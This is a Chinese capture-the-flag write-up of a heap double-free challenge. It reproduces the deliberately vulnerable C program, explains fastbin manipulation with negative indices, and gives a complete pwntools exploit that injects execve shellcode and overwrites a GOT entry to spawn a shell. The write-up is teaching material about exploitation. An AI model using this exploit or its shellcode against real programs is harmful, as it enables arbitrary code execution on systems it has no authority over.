hd-mistake

杭电大狮虎的一道题,感觉还是挺绕的,漏洞为double free….

分析

编译方式为gcc mistake.c -z execstack -no-pie -o mistake则无NX,再看源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
//# mistake.c
//# gcc mistake.c -z execstack -no-pie -o mistake
#include <stdio.h>
#include <stdlib.h>
typedef struct chunk{
char buffer[0x10];
int len;
}chunk;
chunk* list[0x30];
int chunk_number;
void menu()
{
write(1,"1.create\n",9);
write(1,"2.read\n",7);
write(1,"3.free\n",7);
write(1,"4.bye\n",6);
write(1,"> ",2);
}
int transfer(char* buffer){ //只能转换非负整数,但是由于输入长度是10位,则可以溢出为负数
int i,result = 0;
for(i = 0;*(buffer+i) != 0;i++){
if(*(buffer+i) > '9'||*(buffer+i) < '0'){
return -1;
}
result = result*10 - '0' + *(buffer+i);
}
return result;
}
int read_int(){
int i,result;
char buffer[11];
for(i = 0;i < 10;i++){
read(0,buffer+i,1);
if(*(buffer+i) == '\n'){
break;
}
}
*(buffer+i) = 0;
if((result = transfer(buffer)) == -1){
write(1,"Invalid input.\n",15);
return -1;
}
return result;
}
void create_chunk()
{
if(chunk_number > 0x2f){ //未检查下边界
write(1,"no more chunk.\n",15);
return;
}
chunk_number++; //此处会溢出
chunk* tmp = (chunk*)malloc(0x14); //chunksize: 0x20
write(1,"content: ",9);
tmp->len = read(0,tmp->buffer,0x10);
list[chunk_number] = tmp;
write(1,"create successfully.\n",21);
}
void read_chunk()
{
int id;
write(1,"id: ",4);
if((id = read_int()) == -1){
return;
}
if(id > chunk_number){ //未检查下边界
write(1,"Index out of range.\n",20);
return;
}
write(1,list[id]->buffer,list[id]->len);
}
void free_chunk(){
int id,i;
write(1,"id: ",4);
if((id = read_int()) == -1){
return;
}
if(id > chunk_number){ //未检查下边界
write(1,"Index out of range.\n",20);
return;
}
free(list[id]);
chunk_number--;
for(i = id;i < 0x2f;i++){ //这里的不应该写死,否则可能会有漏洞
list[i] = list[i+1];
}
write(1,"delete successfully\n",20);
}
int main(void){
chunk_number = -1;
char input[2];
int selete;
while(1){
menu();
read(0,input,2);
input[1] = 0;
if(!(selete = atoi(input))){
write(1,"Invalid input.\n",15);
continue;
}
switch(selete){
case 1:
create_chunk();
break;
case 2:
read_chunk();
break;
case 3:
free_chunk();
break;
case 4:
write(1,"bye~\n",5);
return 0;
default:
write(1,"Invalid input\n",15);
}
}
}

如上,首先分配0x31个chunk,再删除第0x2f(从0编号)个chunk(命名为chunk0x2f,其他同理),由于id不大于chunk_number,值合法,则释放chunk0x2f,但是由于id不小于0x2f则不会进行循环里的操作,此时chunk_number值为0x2f、list[0x2f]值为已释放的chunk,再次删除chunk0x2f即造成double free,但是由于fastbins存在double free的检查,这里不能直接这样释放,可以按照free(chunk0x2f)->free(chunk0x00)->freechun(0x2e)的方式释放:

1
2
3
4
5
6
7
8
9
   if(id > chunk_number){
write(1,"Index out of range.\n",20);
return;
}
free(list[id]);
chunk_number--;
for(i = id;i < 0x2f;i++){ //这里的不应该写死,否则可能会有漏洞
list[i] = list[i+1];
}

此时chunk_number值为0x2d,但是由于chunk个数有上限,此时最多在分配3个chunk,而要分配第4个chunk才能利用此漏洞,解决方法是,降低下限以增大范围,增加可容纳的chunk数,方法是free(chunk-x),此处的chunk-x值应该为0,否则会检查chunk并将其加入fastbins,而且他应该竟可能靠近list,以减少它对程序正常功能的影响。另一个地方,由于i可为负数下溢,导致free参数可控,可使用house of spirit,用它来让指向某个位置的指针作为参数以控制那个位置,当然要考虑过检查。最后,由于开了NX,首先的想法就是将shellcode写入数据区,然后修改关键指针,如返回地址、GOT项,又由于开了PIE所有位置都不固定,只能先泄露一个地址。至于泄露,chunk0x2f地址释放后没有被chunk0x30地址覆盖,而且还能输出,则可以泄露出堆地址。

利用

现在来理一下利用思路,最终方法是先将shellcode写入已知的地方,然后覆写GOT为shellcode地址:

  1. 首先分配0x31个chunk,list是从第一项开始使用的,即第一个chunk保存在list[0x00]里面,则约定第一个chunk为chunk0x00,那么chunk0x31被保存在list[0x30]中,此时chunk_number为0x31,这里分配的第二个chunk里面应填入p64(0)+p64(0x21),其他填shellcode第二部分,会有用的。
  2. 释放chunk0x2f,则只会释放它,而不会进入for循环内部,也就不会将list[0x2f]的值改掉,它仍然指向被释放了的chunk0x2f,此时chunk_number为0x2f。
  3. 释放chunk0x00,则会进入for,使list[0x2e]=chunk0x2f,此时chunk_number为0x2e。
  4. 释放list[0x2e](即chunk0x2f),chunk0x2f被double free啦,但是目前还没办法去利用它,因为分配的chunk有个数限制,且释放掉的会加入fastbins,它的特点是FILO,此时chunk_number为0x2d。
  5. 观察下面的bss变量位置,chunk_number距离list为0x20字节,将chunk_number视为8字节,则它们刚好还有3个pointer的空间,且这片区域初始为0,那么释放3次list[-0x03],list[-0x03]=chunk0x01,此时chunk_number为0x2a,根据libc代码只要size在0x2*就能过检测。
    bss段
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
      if ((unsigned long) (nb) <= (unsigned long) (get_max_fast ()))
    {
    ...
    #define fastbin_index(sz) \
    ((((unsigned int) (sz)) >> (SIZE_SZ == 8 ? 4 : 3)) - 2)
    if (__builtin_expect (fastbin_index (chunksize (victim)) != idx, 0))
    {
    errstr = "malloc(): memory corruption (fast)";
    ....
    return p;
    }
    }
  6. 分配chunk0x2f,被放在list[0x2b],写入数据p64(&chunk_number-0x08),因为chunk0x2f还在fastbin中,所以覆盖了fd指针,指向了一块已知的地方。
  7. 分配chunk0x01,被放在list[0x2c]。
  8. 分配chunk0x2f,被放在list[0x2d],此时fastbin对应项指向了&chunk_number-0x08
  9. 再次分配即可得到它,向其中写入p64(-17),被放在list[0x2e],此时fastbin对应项指向了list[-0x03]=chunk0x02
  10. 释放list[-0x05],则chunk_number值被修改位-17啦,再次分配,则list[-17+1]=chunk0x02,即将writeGot改为shellcode地址,在其中写入shellcode。这里面有个问题,就是shellcode长度是大于0x10的,不能直接写完,可以分成几个部分,使用相对跳转即可,例如chunk0x02与chunk0x03是相邻的,即可在它们里面写入完整shellcode。

最终代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
#!/usr/bin/env python
# coding=utf-8

from pwn import *
context.log_level='debug'
p = process(['../glibc-2.24/build/elf/ld.so','--library-path','../glibc-2.24/build/','./mistake'])
#p = process('./mistake')
def cc(s):
p.sendlineafter('>','1')
assert(len(s)<=0x10)
p.send(s)
rec = p.recvuntil('1.create')
assert('succ' in rec)

def fc(i):
p.sendlineafter('>','3')
if i<0:
i = i+0x100000000
i = str(i)
log.info('free id:%s'%i)
if len(i)<10:
i+= '\n'
p.send(i)
rec = p.recvuntil('1.create')
assert('succ' in rec)

shellcode = '\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05'
shellcode1 = shellcode[:12]+'\xeb\x22' #jmp 0x22
shellcode2 = shellcode[12:]
chunk_numberAddr = 0x0000000000602080
#1
for i in range(0,0x31):
if i == 0x01:
cc(p64(0)+p64(0x21))
else:
cc(shellcode2)
#
#2
fc(0x2f)
#3
fc(0x00)

#4
fc(0x2e)
#pause()
#5
#gdb.attach(p)
#pause()
for _ in range(3):
fc(-3)
# pause()
#6
cc(p64(chunk_numberAddr-0x08))
#7
cc('lala')
#8
cc('gaga')
#9
cc(p64(-17+0x100000000))
#10
fc(-5)
gdb.attach(p)
pause()
cc(shellcode1)
p.interactive()

结果

由于当前系统libc版本是2.26存在tcache,自己编的有nx,所以本机挂了,先睡觉,有时间再弄,如下成功劫持PC到shellcode处:

参考

[0]https://0x48.pw/2017/07/25/0x35/